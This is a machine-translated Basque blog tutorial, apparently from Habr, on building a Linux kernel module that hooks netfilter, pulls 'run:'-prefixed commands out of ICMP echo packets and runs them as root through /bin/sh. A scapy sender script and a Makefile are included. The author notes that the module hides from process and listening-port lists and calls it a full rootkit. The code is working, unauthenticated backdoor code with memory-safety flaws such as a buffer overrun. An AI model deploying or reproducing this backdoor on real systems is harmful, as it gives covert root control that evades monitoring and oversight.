Oskol nuklearra ICMPren gainean

Oskol nuklearra ICMPren gainean

TL; DR: ICMP kargaren komandoak irakurri eta zerbitzarian exekutatu egingo dituen nukleo-modulu bat idazten ari naiz zure SSH huts egin arren. Pazientzia handienentzat, kode guztia da GitHub.

Kontuz! C programatzaile esperientziadunek odol malkotan lehertzeko arriskua dute! Terminologian ere oker nago, baina edozein kritika ongi etorria da. Posta C programazioari buruzko ideia oso latza dutenentzat eta Linux-en barrualdea aztertu nahi dutenentzat da.

Nire lehenengoaren iruzkinetan Artikulu aipatu zuen SoftEther VPN, protokolo "ohiko" batzuk imita ditzakeena, bereziki HTTPS, ICMP eta baita DNS ere. Imajina dezaket lehenengoa bakarrik funtzionatzen, HTTP(S) oso ezaguna dudalako eta ICMP eta DNS bidez tunelak egiten ikasi behar izan nuen.

Oskol nuklearra ICMPren gainean

Bai, 2020an jakin nuen ICMP paketeetan karga arbitrario bat txerta dezakezula. Baina hobe berandu inoiz baino! Eta horri buruz zerbait egin daitekeenez, orduan egin behar da. Nire eguneroko bizitzan gehienetan komando-lerroa erabiltzen dudanez, SSH bidez barne, ICMP shell baten ideia etorri zitzaidan burura lehenik. Eta bullshield bingo osoa muntatzeko, Linux modulu gisa idaztea erabaki nuen gutxi gorabeherako hizkuntza batean. Halako shell bat ez da ikusgai egongo prozesuen zerrendan, nukleoan karga dezakezu eta ez da fitxategi-sisteman egongo, ez duzu ezer susmagarririk ikusiko entzuteko ataken zerrendan. Bere gaitasunei dagokienez, hau erabateko rootkit bat da, baina hobetu eta azken baliabide gisa erabiltzea espero dut Load Average altuegia denean SSH bidez saioa hasteko eta gutxienez exekutatzeko. echo i > /proc/sysrq-triggersarbidea berrezartzeko berrabiarazi gabe.

Testu-editore bat hartzen dugu, oinarrizko programazio trebetasunak Python eta C, Google eta birtuala dena hausten bada (aukerakoa - VirtualBox/KVM/etab lokala) eta goazen!

Bezeroaren aldean

Bezeroaren aldetik 80 bat lerroko gidoi bat idatzi beharko nuela iruditu zitzaidan, baina bazeuden jende jatorra egiten zidana. lan guztia. Kodea ustekabeko sinplea izan zen, 10 lerro esanguratsutan sartuz:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Scriptak bi argumentu hartzen ditu, helbide bat eta karga erabilgarria. Bidali aurretik, kargaren aurretik tekla bat dago run:, ausazko kargak dituzten paketeak baztertzeko beharko dugu.

Nukleoak paketeak lantzeko pribilegioak behar ditu, beraz, scripta supererabiltzaile gisa exekutatu beharko da. Ez ahaztu exekuzio baimenak ematea eta scapy bera instalatzea. Debian izeneko pakete bat dauka python3-scapy. Orain nola funtzionatzen duen egiaztatu dezakezu.

Komandoa exekutatzea eta ateratzea
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Honela dirudi sniffer-ean
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

Erantzun paketearen karga ez da aldatzen.

Kernel modulua

Debian makina birtual batean eraikitzeko gutxienez beharko duzu make ΠΈ linux-headers-amd64, gainerakoak menpekotasun moduan etorriko dira. Ez dut kode osoa emango artikuluan, Github-en klonatu dezakezu.

Kakoaren konfigurazioa

Hasteko, bi funtzio behar ditugu modulua kargatzeko eta deskargatzeko. Deskargarako funtzioa ez da beharrezkoa, baina gero rmmod ez du funtzionatuko modulua itzalita dagoenean bakarrik deskargatuko da.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Zer gertatzen da hemen:

  1. Bi goiburuko fitxategi sartzen dira modulua bera eta netfilter manipulatzeko.
  2. Eragiketa guztiak netfilter batetik pasatzen dira, bertan kakoak ezar ditzakezu. Horretarako, amua zein egituratan konfiguratuko den adierazi behar duzu. Garrantzitsuena kako gisa exekutatuko den funtzioa zehaztea da: nfho.hook = icmp_cmd_executor; Funtzioari beranduago helduko naiz.
    Ondoren paketearen prozesatzeko denbora ezarri dut: NF_INET_PRE_ROUTING paketea nukleoan lehen aldiz agertzen denean prozesatzeko zehazten du. Erabili daiteke NF_INET_POST_ROUTING paketea nukleotik irtetean prozesatzeko.
    Iragazkia IPv4-n ezarri dut: nfho.pf = PF_INET;.
    Nire amuari ematen diot lehentasun handiena: nfho.priority = NF_IP_PRI_FIRST;
    Eta datuen egitura benetako amu gisa erregistratzen dut: nf_register_net_hook(&init_net, &nfho);
  3. Azken funtzioak amua kentzen du.
  4. Lizentzia argi eta garbi adierazten da, konpilatzailea kexa ez dadin.
  5. funtzio module_init() ΠΈ module_exit() ezarri beste funtzio batzuk modulua hasieratzeko eta amaitzeko.

Karga erabilgarria berreskuratzea

Orain karga atera behar dugu, hau izan da zeregin zailena. Nukleoak ez du funtzio barneratuta kargarekin lan egiteko;

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Zer ari da gertatzen:

  1. Goiburuko fitxategi gehigarriak sartu behar izan ditut, oraingoan IP eta ICMP goiburuak manipulatzeko.
  2. Lerroaren gehienezko luzera ezarri dut: #define MAX_CMD_LEN 1976. Zergatik zehazki hau? Konpilatzailea kexatzen delako! Dagoeneko iradoki didate pila eta pila ulertu behar ditudala, noizbait hori egingo dut eta agian kodea zuzenduko dut. Berehala ezarri dut komandoa edukiko duen lerroa: char cmd_string[MAX_CMD_LEN];. Funtzio guztietan ikusgai egon beharko luke; 9. paragrafoan zehatzago hitz egingo dut honi buruz.
  3. Orain hasieratu behar dugu (struct work_struct my_work;) egituratu eta beste funtzio batekin lotu (DECLARE_WORK(my_work, work_handler);). Hori zergatik den beharrezkoa ere aipatuko dut bederatzigarren paragrafoan.
  4. Orain funtzio bat deklaratzen dut, kako bat izango dena. Mota eta onartutako argumentuak netfilter-ak agintzen ditu, soilik interesatzen zaigu skb. Socket buffer bat da, pakete bati buruzko informazio eskuragarri guztia biltzen duen oinarrizko datu-egitura.
  5. Funtzioak funtziona dezan, bi egitura eta hainbat aldagai beharko dituzu, bi iterador barne.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Logikatik has gaitezke. Moduluak funtziona dezan, ez da ICMP Echo ez den paketerik behar, beraz, buffer-a integratutako funtzioak erabiliz analizatzen dugu eta ICMP ez diren eta Echo ez diren pakete guztiak botatzen ditugu. Itzuli NF_ACCEPT paketea onartzea esan nahi du, baina paketeak ere jar ditzakezu itzuliz NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Ez dut probatu zer gertatuko den IP goiburuak egiaztatu gabe. Nire C-ren gutxieneko ezagutzak esaten dit egiaztapen gehigarririk gabe zerbait izugarria gertatuko dela. Pozik egongo naiz honetaz disuaditzen badidazu!

  7. Orain paketea behar duzun mota zehatza denez, datuak atera ditzakezu. Funtzio integraturik gabe, lehenik eta behin kargaren hasierako erakuslea lortu behar duzu. Leku bakarrean egiten da, erakuslea ICMP goiburuaren hasierara eraman eta goiburu honen tamainara eraman behar duzu. Guztiak egitura erabiltzen du icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Goiburuaren amaierak kargaren amaierarekin bat etorri behar du skb, beraz, dagokion egituratik bitarteko nuklearrak erabiliz lortzen dugu: tail = skb_tail_pointer(skb);.

    Oskol nuklearra ICMPren gainean

    Irudia lapurtu zuten beraz,, socket buffer-ari buruzko informazio gehiago irakur dezakezu.

  8. Hasierako eta amaierako erakusleak dituzunean, datuak kate batean kopiatu ditzakezu cmd_string, egiaztatu aurrizkirik dagoen run: eta, baztertu paketea falta bada, edo berriro idatzi lerroa, aurrizki hori kenduz.
  9. Hori da, orain beste kudeatzaile bati deitu dezakezu: schedule_work(&my_work);. Horrelako dei bati parametrorik pasatzea ezinezkoa denez, komandoa duen lerroak globala izan behar du. schedule_work() gainditutako egiturarekin lotutako funtzioa ataza-antolatzailearen ilara orokorrean jarriko du eta osatuko du, komandoa amaitu arte itxaroteko aukera emanez. Hau beharrezkoa da amua oso azkarra izan behar delako. Bestela, zure aukera da ezer ez hasiko dela edo nukleoaren izua jasoko duzu. Atzerapena heriotza bezalakoa da!
  10. Hori da, paketea onar dezakezu dagokion itzulerarekin.

Erabiltzaile-espazioko programa bati deitzea

Funtzio hau da ulergarriena. Bere izena eman zioten DECLARE_WORK(), mota eta onartutako argumentuak ez dira interesgarriak. Komandoarekin lerroa hartzen dugu eta osorik pasatzen dugu shell-era. Egin dezala analisia, bitarren bilaketa eta beste guztia.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Ezarri argumentuak kate-matrize batean argv[]. Suposatuko dut denek dakiela programak benetan horrela exekutatzen direla, eta ez espazioak dituen lerro jarraitu gisa.
  2. Ezarri ingurune-aldagaiak. Gutxieneko bide-multzo batekin PATH bakarrik txertatu nuen, denak jada konbinatuta zeudelakoan /bin с /usr/bin и /sbin с /usr/sbin. Beste bideak gutxitan axola praktikan.
  3. Eginda, egin dezagun! Kernel funtzioa call_usermodehelper() sarrera onartzen du. bitarrerako bidea, argumentuen array, ingurune-aldagaien array. Hemen ere suposatzen dut denek ulertzen dutela fitxategi exekutagarrirako bidea argumentu bereizi gisa pasatzearen esanahia, baina galdetu dezakezu. Azken argumentuak prozesua amaitu arte itxaron behar den zehazten du (UMH_WAIT_PROC), prozesuaren hasiera (UMH_WAIT_EXEC) edo ez itxaron batere (UMH_NO_WAIT). Ba al dago gehiago UMH_KILLABLE, ez nuen aztertu.

muntaia

Nukleoaren moduluen muntaketa nukleoaren make-framework bidez egiten da. Deitua make Nukleoaren bertsioari lotuta dagoen direktorio berezi baten barruan (hemen definitua: KERNELDIR:=/lib/modules/$(shell uname -r)/build), eta moduluaren kokapena aldagaira pasatzen da M argudioetan. icmpshell.ko eta helburu garbiek marko hau guztiz erabiltzen dute. IN obj-m modulu bihurtuko den objektu-fitxategia adierazten du. Berregiten duen sintaxia main.o Π² icmpshell.o (icmpshell-objs = main.o) ez zait oso logikoa iruditzen, baina hala izan dadila.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

biltzen dugu: make. Kargatzen: insmod icmpshell.ko. Eginda, egiaztatu dezakezu: sudo ./send.py 45.11.26.232 "date > /tmp/test". Zure makinan fitxategi bat baduzu /tmp/test eta eskaera bidali zen data jasotzen du, hau da, dena ondo egin zenuen eta nik dena ondo egin nuen.

Ondorioa

Garapen nuklearraren lehen esperientzia espero nuena baino askoz errazagoa izan zen. Nahiz eta C-n garatzen esperientziarik gabe, konpilatzaileen aholkuetan eta Google-ren emaitzetan zentratuta, lan-modulu bat idatzi eta kernel hacker bat bezala sentitzea lortu nuen, eta aldi berean script kiddie bat bezala. Horrez gain, Kernel Newbies kanalera joan nintzen, eta bertan erabiltzeko esan zidaten schedule_work() deitu beharrean call_usermodehelper() kakoaren beraren barnean eta lotsatu egin zuen, iruzur baten susmoa arrazoiz. Ehun kode lerro kostatu zitzaidan denbora librean astebete inguruko garapena. Sistemaren garapenaren konplexutasun izugarriari buruzko nire mito pertsonala suntsitu zuen esperientzia arrakastatsua.

Norbaitek Github-en kodea berrikustea onartzen badu, eskertuko dut. Ziur nago akats ergel asko egin ditudala, batez ere sokekin lan egitean.

Oskol nuklearra ICMPren gainean

Iturria: www.habr.com

Gehitu iruzkin berria